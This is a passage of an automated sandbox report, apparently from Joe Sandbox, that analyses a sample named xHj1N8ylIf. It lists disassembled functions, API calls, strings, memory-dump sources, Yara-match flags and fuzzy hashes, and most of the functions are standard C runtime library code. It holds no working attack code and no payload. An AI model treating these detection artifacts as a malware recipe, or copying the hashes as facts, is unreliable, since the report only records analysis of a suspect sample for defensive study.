API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c188182dd200e0a3be51801a4e00a5c192b8a843550c9ac7fd66606b708d124c
Instruction ID: 55e637dd25ccccc76bb4fb50dde2a1c34c04316bf4197066143647bda6b043c7
Opcode Fuzzy Hash: c188182dd200e0a3be51801a4e00a5c192b8a843550c9ac7fd66606b708d124c
Instruction Fuzzy Hash: 851186B6944118BFCB01EF95C941CDE3BAAEF28350B5181A5FE088F221DB71DB649F80

Function 0211DDD9 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0211EDF1: GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE28
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

_memcmp.LIBVCRUNTIME ref: 0211E083
_free.LIBCMT ref: 0211E0F4
_free.LIBCMT ref: 0211E10D
_free.LIBCMT ref: 0211E13F
_free.LIBCMT ref: 0211E148
_free.LIBCMT ref: 0211E154

Strings

hcE, xrefs: 0211E122
C, xrefs: 0211DF41

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast$_memcmp
String ID: C$hcE
API String ID: 4275183328-4169398798
Opcode ID: 87b75584963aba0a4db2ac7e0b452a9fe4dca1ce50c12d63af804a641ba64c79
Instruction ID: d71d98dc9adeea2c8a799c6376a62481d0e2aa8f4b1fc5562058e83467788592
Opcode Fuzzy Hash: 87b75584963aba0a4db2ac7e0b452a9fe4dca1ce50c12d63af804a641ba64c79
Instruction Fuzzy Hash: 02B13975A4122A9FDB24DF28D884BADB7B5FF48304F5445EAE909A7350E731AE90CF40

Function 0043BB52 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,0043CE3F), ref: 0043BB75

Strings

acos, xrefs: 0043BCED
log10, xrefs: 0043BBBF, 0043BC0F
asin, xrefs: 0043BCE1
pow, xrefs: 0043BC59, 0043BD05, 0043BD18
sqrt, xrefs: 0043BCF9
exp, xrefs: 0043BC3A, 0043BC9C
log, xrefs: 0043BC1B, 0043BC27

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: 0adaf178b2f8baef1ef9d47019069ec0f012fbbd305f2574d5af6c1c46a526dc
Instruction ID: bea74866d74deab0cdc4885bdcc29de8a31bf81aed39cb9c1e790138308eeba6
Opcode Fuzzy Hash: 0adaf178b2f8baef1ef9d47019069ec0f012fbbd305f2574d5af6c1c46a526dc
Instruction Fuzzy Hash: B051AC70900609CBCF10DF68E9486ADBBB4FF4D310F21A19BD651A7268CB798D25CB9D

Function 0211FE40 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ff32d8218493f7a5bcde68123cc9f496a245cd57dba89026967887533b332b0
Instruction ID: 0784c15f0498ccb17c2d29e62d5dd9f0e75307ddb23edf750e2c6b46226300ed
Opcode Fuzzy Hash: 4ff32d8218493f7a5bcde68123cc9f496a245cd57dba89026967887533b332b0
Instruction Fuzzy Hash: 12C1E474E843699FDF15DFA8C840BAEBBB1AF1E304F0442A8E954A7392C730D955CB64

Function 0042DB72 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

_memcmp.LIBVCRUNTIME ref: 0042DE1C
_free.LIBCMT ref: 0042DE8D
_free.LIBCMT ref: 0042DEA6
_free.LIBCMT ref: 0042DED8
_free.LIBCMT ref: 0042DEE1
_free.LIBCMT ref: 0042DEED

Strings

C, xrefs: 0042DCDA

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free$ErrorLast$_memcmp
String ID: C
API String ID: 4275183328-1037565863
Opcode ID: db1bd63b2c84a7c637bfdf2d38bbac00542a4e3d7f867a5deab3efdfefee4c48
Instruction ID: 12d1b58aad58e84b65b836d743c8c885c5c790c3a324f39abf8d2d94205739ab
Opcode Fuzzy Hash: db1bd63b2c84a7c637bfdf2d38bbac00542a4e3d7f867a5deab3efdfefee4c48
Instruction Fuzzy Hash: E3B13975E016299FDB24DF18D884BAAB7B4FF48304F9045AAE849A7350D735AE90CF48

Function 0042596D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 004259C0
FindMITargetTypeInstance.LIBVCRUNTIME ref: 004259D9
FindVITargetTypeInstance.LIBVCRUNTIME ref: 004259E0
PMDtoOffset.LIBCMT ref: 004259FF

Strings

Bad dynamic_cast!, xrefs: 00425A41

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: d3d1996f6954923c1f1bb22cc960d0a30c34ef9eeb07fa6df52ebed15539a515
Instruction ID: 8a681966897e11e55cd42f16e0f929370727fb0fcfbb1a48e6122e740baf05d9
Opcode Fuzzy Hash: d3d1996f6954923c1f1bb22cc960d0a30c34ef9eeb07fa6df52ebed15539a515
Instruction Fuzzy Hash: DA2129B2700A25DFCF14DFA5E946AAE7764EB44734B50421FF80493281D738ED418699

Function 020F472F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 020F4740
int.LIBCPMT ref: 020F4757

Part of subcall function 020F9074: std::_Lockit::_Lockit.LIBCPMT ref: 020F9085
Part of subcall function 020F9074: std::_Lockit::~_Lockit.LIBCPMT ref: 020F909F

std::locale::_Getfacet.LIBCPMT ref: 020F4760
std::_Facet_Register.LIBCPMT ref: 020F4791
std::_Lockit::~_Lockit.LIBCPMT ref: 020F47A7
__CxxThrowException@8.LIBVCRUNTIME ref: 020F47C5

Strings

C, xrefs: 020F4731

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID: C
API String ID: 2243866535-2515487769
Opcode ID: 42b6b3e3a3123af3ebf1ade826118e90fdcd75bfa0dd9330882504b78eb845ce
Instruction ID: 05c517457d44555d75557bab0d980f20219f122991f113fc2f465d7a1d4879b2
Opcode Fuzzy Hash: 42b6b3e3a3123af3ebf1ade826118e90fdcd75bfa0dd9330882504b78eb845ce
Instruction Fuzzy Hash: AB11A532980329DFCF85EBA4C840AEE77B6BF84315F100119EB1567AA0DB399E00DF94

Function 020F94A1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 020F94B2
int.LIBCPMT ref: 020F94C9

Part of subcall function 020F9074: std::_Lockit::_Lockit.LIBCPMT ref: 020F9085
Part of subcall function 020F9074: std::_Lockit::~_Lockit.LIBCPMT ref: 020F909F

std::locale::_Getfacet.LIBCPMT ref: 020F94D2
std::_Facet_Register.LIBCPMT ref: 020F9503
std::_Lockit::~_Lockit.LIBCPMT ref: 020F9519
__CxxThrowException@8.LIBVCRUNTIME ref: 020F9537

Strings

C, xrefs: 020F94A3

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID: C
API String ID: 2243866535-2515487769
Opcode ID: a7c2fceb3240fe3079bcded35d82f571336d7679c7025fa8bf5e195a6d71d423
Instruction ID: 568bdd8746d3fd2657f7835c541d2377ea20155817b8ce849065ef8f6af0c4c5
Opcode Fuzzy Hash: a7c2fceb3240fe3079bcded35d82f571336d7679c7025fa8bf5e195a6d71d423
Instruction Fuzzy Hash: 8D11CE3298031D9BCF81EBA4C800BED7772BF84710F100509E615A7AA0DF349E00EF90

Function 0042EDE4 Relevance: 12.2, APIs: 8, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0042A5E8,0042A5E8,?,?,?,0042F035,00000001,00000001,23E85006), ref: 0042EE3E
__alloca_probe_16.LIBCMT ref: 0042EE76
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0042F035,00000001,00000001,23E85006,?,?,?), ref: 0042EEC4
__alloca_probe_16.LIBCMT ref: 0042EF5B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,23E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0042EFBE
__freea.LIBCMT ref: 0042EFCB

Part of subcall function 00430357: RtlAllocateHeap.NTDLL(00000000,0040A8BB,00000000,?,0042343E,00000002,00000000,00000000,00000000,?,00409D6C,0040A8BB,00000004,00000000,00000000,00000000), ref: 00430389

__freea.LIBCMT ref: 0042EFD4
__freea.LIBCMT ref: 0042EFF9

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: da8d88692a3378ec2d8d8365ae0a95cdf52099a0517eabfe93d2d4af8c4cc745
Instruction ID: 60925b2890334b1a26ba29a73f97aa8de5167d43a6e453a630e9053134a8fa9c
Opcode Fuzzy Hash: da8d88692a3378ec2d8d8365ae0a95cdf52099a0517eabfe93d2d4af8c4cc745
Instruction Fuzzy Hash: EE511432710226BFDF258F66ED41FAB77A9EB44710F56462AFD04D6280DB38DC40C668

Function 00427DB6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Strings

&@, xrefs: 00427DB8

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID: &@
API String ID: 0-1362318888
Opcode ID: a9c78ea42baa1dfd6e0fe2c82f9088e88b2bb7591984f8f3fa335278d005233b
Instruction ID: 6fd787c58bbc03fed9bc031251e95f3b08d3f71f2e8c352972934ceef8bdeeb4
Opcode Fuzzy Hash: a9c78ea42baa1dfd6e0fe2c82f9088e88b2bb7591984f8f3fa335278d005233b
Instruction Fuzzy Hash: 3D711831B092369BCF20CF55E844ABFB775EF45354FA6426BE810A7241DB748C41C7A9

Function 0042D6F4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00430357: RtlAllocateHeap.NTDLL(00000000,0040A8BB,00000000,?,0042343E,00000002,00000000,00000000,00000000,?,00409D6C,0040A8BB,00000004,00000000,00000000,00000000), ref: 00430389

_free.LIBCMT ref: 0042D7FF
_free.LIBCMT ref: 0042D816
_free.LIBCMT ref: 0042D835
_free.LIBCMT ref: 0042D850
_free.LIBCMT ref: 0042D867

Strings

LgD, xrefs: 0042D7D9

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free$AllocateHeap
String ID: LgD
API String ID: 3033488037-3721188703
Opcode ID: 75c1c48aaa0bd1ada2025ca5b04f9b8bb188f282a264718b8188159990f48996
Instruction ID: 5e4a6cc0592a3305de4b82f3b77a8e9c43a9d9093588e99d7e84841c095f5b78
Opcode Fuzzy Hash: 75c1c48aaa0bd1ada2025ca5b04f9b8bb188f282a264718b8188159990f48996
Instruction Fuzzy Hash: C251D331E002149BDB24EF2AEC41A6AB7F4EF59724F54066EE819D7251E739E901CB88

Function 00430533 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00428EED,E0830C40,?,?,?,?,?,?,00430CA8,0040AE20,00428EED,?,00428EED,00428EED,0040AE20), ref: 00430575
__fassign.LIBCMT ref: 004305F0
__fassign.LIBCMT ref: 0043060B
WideCharToMultiByte.KERNEL32(?,00000000,00428EED,00000001,?,00000005,00000000,00000000), ref: 00430631
WriteFile.KERNEL32(?,?,00000000,00430CA8,00000000,?,?,?,?,?,?,?,?,?,00430CA8,0040AE20), ref: 00430650
WriteFile.KERNEL32(?,0040AE20,00000001,00430CA8,00000000,?,?,?,?,?,?,?,?,?,00430CA8,0040AE20), ref: 00430689

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 4d83bbe10bf6bab66ea622a867cecbf8455eb34b4fde43a0680013e2fe018a10
Instruction ID: 18c8cce6c2d529ef8c3a1be8a82416c6c5c43310351253068d06476f1b982bb0
Opcode Fuzzy Hash: 4d83bbe10bf6bab66ea622a867cecbf8455eb34b4fde43a0680013e2fe018a10
Instruction Fuzzy Hash: 4C51B270A002499FCB10CFA8D856BEEBBF8EF89310F14422BE555E7291E7349951CB68

Function 0212079A Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,02119154,E0830C40,?,?,?,?,?,?,02120F0F,020FB087,02119154,?,02119154,02119154,020FB087), ref: 021207DC
__fassign.LIBCMT ref: 02120857
__fassign.LIBCMT ref: 02120872
WideCharToMultiByte.KERNEL32(?,00000000,02119154,00000001,?,00000005,00000000,00000000), ref: 02120898
WriteFile.KERNEL32(?,?,00000000,02120F0F,00000000,?,?,?,?,?,?,?,?,?,02120F0F,020FB087), ref: 021208B7
WriteFile.KERNEL32(?,020FB087,00000001,02120F0F,00000000,?,?,?,?,?,?,?,?,?,02120F0F,020FB087), ref: 021208F0

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 69b8801c138d5f24ca6512ab6a8328be0ceb3ceda56d83a51be8591138ebc1a5
Instruction ID: e3973884e5de33b6e3b3d004ea4e5b6f701ecd83f87a6319e72d628c16ed825b
Opcode Fuzzy Hash: 69b8801c138d5f24ca6512ab6a8328be0ceb3ceda56d83a51be8591138ebc1a5
Instruction Fuzzy Hash: A551C270A402599FDB10CFA8D844BEEBBF4EF29304F14422AE95AF7291E7309955CF60

Function 00425380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 004253AB
___except_validate_context_record.LIBVCRUNTIME ref: 004253B3
_ValidateLocalCookies.LIBCMT ref: 00425441
__IsNonwritableInCurrentImage.LIBCMT ref: 0042546C
_ValidateLocalCookies.LIBCMT ref: 004254C1

Strings

csm, xrefs: 00425456

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 8cd6326673c68eecee32f82c51c0de9d454083274cf32adb26fe02deef95564d
Instruction ID: 2e2864dc2657c784cd06c4a6c59dffd2014b49b465551db290534696377246e8
Opcode Fuzzy Hash: 8cd6326673c68eecee32f82c51c0de9d454083274cf32adb26fe02deef95564d
Instruction Fuzzy Hash: 8841F730B00628ABCF00EF69E84179EBBB4BF45319F94C157E8156B392D7399A41CB94

Function 02111754 Relevance: 10.6, APIs: 7, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 0211176D

Part of subcall function 02111A3C: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,021114A0), ref: 02111A4C

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 02111782
std::invalid_argument::invalid_argument.LIBCONCRT ref: 02111791
__CxxThrowException@8.LIBVCRUNTIME ref: 0211179F
Concurrency::details::FreeVirtualProcessorRoot::Affinitize.LIBCONCRT ref: 02111815
std::invalid_argument::invalid_argument.LIBCONCRT ref: 02111855
__CxxThrowException@8.LIBVCRUNTIME ref: 02111863

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Exception@8FreeProcessorRoot::ThrowVirtualstd::invalid_argument::invalid_argument$AffinitizeExecutionIdleObjectProxy::ResetSingleSuspendThreadWait
String ID:
API String ID: 3151764488-0
Opcode ID: fed439a0ad055502321c917910015f78feee3c52ead7e8314af063bccc78410d
Instruction ID: c7bce5eec8c892acb73a13a8fa9943934b62f10c6bf78af95128b176a5e629de
Opcode Fuzzy Hash: fed439a0ad055502321c917910015f78feee3c52ead7e8314af063bccc78410d
Instruction Fuzzy Hash: DE31C035A40214BFCF05EF68C884A6DB76ABF85310F24857ADE19A7381DB70ED01CA91

Function 0043C5F1 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81546b2476dfd3c0da568f6a5334ce12607f608b6c1e9e4af48b6a15fb5d3098
Instruction ID: 96dcf9f8e2cb634e3069f03a7c93195c318a3a65307b3a0fde3471aea2899667
Opcode Fuzzy Hash: 81546b2476dfd3c0da568f6a5334ce12607f608b6c1e9e4af48b6a15fb5d3098
Instruction Fuzzy Hash: C5110A76605115BFDB102F73AC46D2B3B68EFCA774F10652BF815D7250DA38880187B8

Function 0212C858 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19ef23123532063c0ec7a142f5adc597cf9408c0acaebada4943c521f29cf02c
Instruction ID: 5b7f46a2ff8c11412efff83f578041bf2bc1b233695018efedd3c03f2015cbb0
Opcode Fuzzy Hash: 19ef23123532063c0ec7a142f5adc597cf9408c0acaebada4943c521f29cf02c
Instruction Fuzzy Hash: 8E11E472588229BFDB212F768C08B6F7A5DEFC6760B120629F915D7240DB318925CAF0

Function 00437033 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00436D7A: _free.LIBCMT ref: 00436DA3

_free.LIBCMT ref: 00437081

Part of subcall function 0043011A: RtlFreeHeap.NTDLL(00000000,00000000,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?), ref: 00430130
Part of subcall function 0043011A: GetLastError.KERNEL32(?,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?,?), ref: 00430142

_free.LIBCMT ref: 0043708C
_free.LIBCMT ref: 00437097
_free.LIBCMT ref: 004370EB
_free.LIBCMT ref: 004370F6
_free.LIBCMT ref: 00437101
_free.LIBCMT ref: 0043710C

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction ID: ecc636602d9cefd8af03c320b282c937fb6f84fee31525a8c560b6306c237e1b
Opcode Fuzzy Hash: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction Fuzzy Hash: F011B772600B08B6D934BF71CC07FC77BAC6F08709F44591E769A66053C66EB4008659

Function 0212729A Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02126FE1: _free.LIBCMT ref: 0212700A

_free.LIBCMT ref: 021272E8

Part of subcall function 02120381: HeapFree.KERNEL32(00000000,00000000,?,0212700F,?,00000000,?,00000000,?,021272B3,?,00000007,?,?,021276A7,?), ref: 02120397
Part of subcall function 02120381: GetLastError.KERNEL32(?,?,0212700F,?,00000000,?,00000000,?,021272B3,?,00000007,?,?,021276A7,?,?), ref: 021203A9

_free.LIBCMT ref: 021272F3
_free.LIBCMT ref: 021272FE
_free.LIBCMT ref: 02127352
_free.LIBCMT ref: 0212735D
_free.LIBCMT ref: 02127368
_free.LIBCMT ref: 02127373

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction ID: e1419c0d6234cb4eaf1aff10a74863228568812ad25b8d25972b892586d4e554
Opcode Fuzzy Hash: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction Fuzzy Hash: D6117F71A84B64AFDF20F7B2CC55FCBBB9E9F04B00F400914F29966090DB65F6684E50

Function 0040F092 Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,0040D7D9,?,?,?,00000000), ref: 0040F0A0
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,0040D7D9,?,?,?,00000000), ref: 0040F0A6
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,0040D7D9,?,?,?,00000000), ref: 0040F0D3
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,0040D7D9,?,?,?,00000000), ref: 0040F0DD
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,0040D7D9,?,?,?,00000000), ref: 0040F0EF
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F105
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F113

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID:
API String ID: 4227777306-0
Opcode ID: e23a3ddd4b344dc29f5bccb47b5aa6cf673dfb6735c6685cbf8b944409608d48
Instruction ID: 4200e810809cb5a6b896e226c4a8aa9689f07643c03a25066913d1c0f4825176
Opcode Fuzzy Hash: e23a3ddd4b344dc29f5bccb47b5aa6cf673dfb6735c6685cbf8b944409608d48
Instruction Fuzzy Hash: 8101DF35604110ABD724AB66EC09BAF3768AB41351F20443BF901F25D2EB7DD908C6AC

Function 020FF2F9 Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,020FDA40,?,?,?,00000000), ref: 020FF307
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,020FDA40,?,?,?,00000000), ref: 020FF30D
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,020FDA40,?,?,?,00000000), ref: 020FF33A
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,020FDA40,?,?,?,00000000), ref: 020FF344
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,020FDA40,?,?,?,00000000), ref: 020FF356
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 020FF36C
__CxxThrowException@8.LIBVCRUNTIME ref: 020FF37A

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID:
API String ID: 4227777306-0
Opcode ID: e283f6e84b2c82578919922f2d2d59517d61ded4a319df8eeb3d81b500b4db47
Instruction ID: 22c3f03902ceea451613787d6090e35f152cf57fc217a3c359a2c67e079fea54
Opcode Fuzzy Hash: e283f6e84b2c82578919922f2d2d59517d61ded4a319df8eeb3d81b500b4db47
Instruction Fuzzy Hash: 8201D435680306BAD795AB64EC8CFAF37A9AF41751F140435E701D28D0EB38D500DAA8

Function 020FF144 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,021033AB), ref: 020FF156
GetProcAddress.KERNEL32(00000000,00443CA4), ref: 020FF164
GetProcAddress.KERNEL32(00000000,00443CBC), ref: 020FF172
GetModuleHandleW.KERNEL32(kernel32.dll,00443CD4,?,?,?,021033AB), ref: 020FF1A0
GetProcAddress.KERNEL32(00000000), ref: 020FF1A7
GetLastError.KERNEL32(?,?,?,021033AB), ref: 020FF1C2
GetLastError.KERNEL32(?,?,?,021033AB), ref: 020FF1CE
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 020FF1E4
__CxxThrowException@8.LIBVCRUNTIME ref: 020FF1F2

Strings

kernel32.dll, xrefs: 020FF150, 020FF155, 020FF19A

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorHandleLastModule$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID: kernel32.dll
API String ID: 4179531150-1793498882
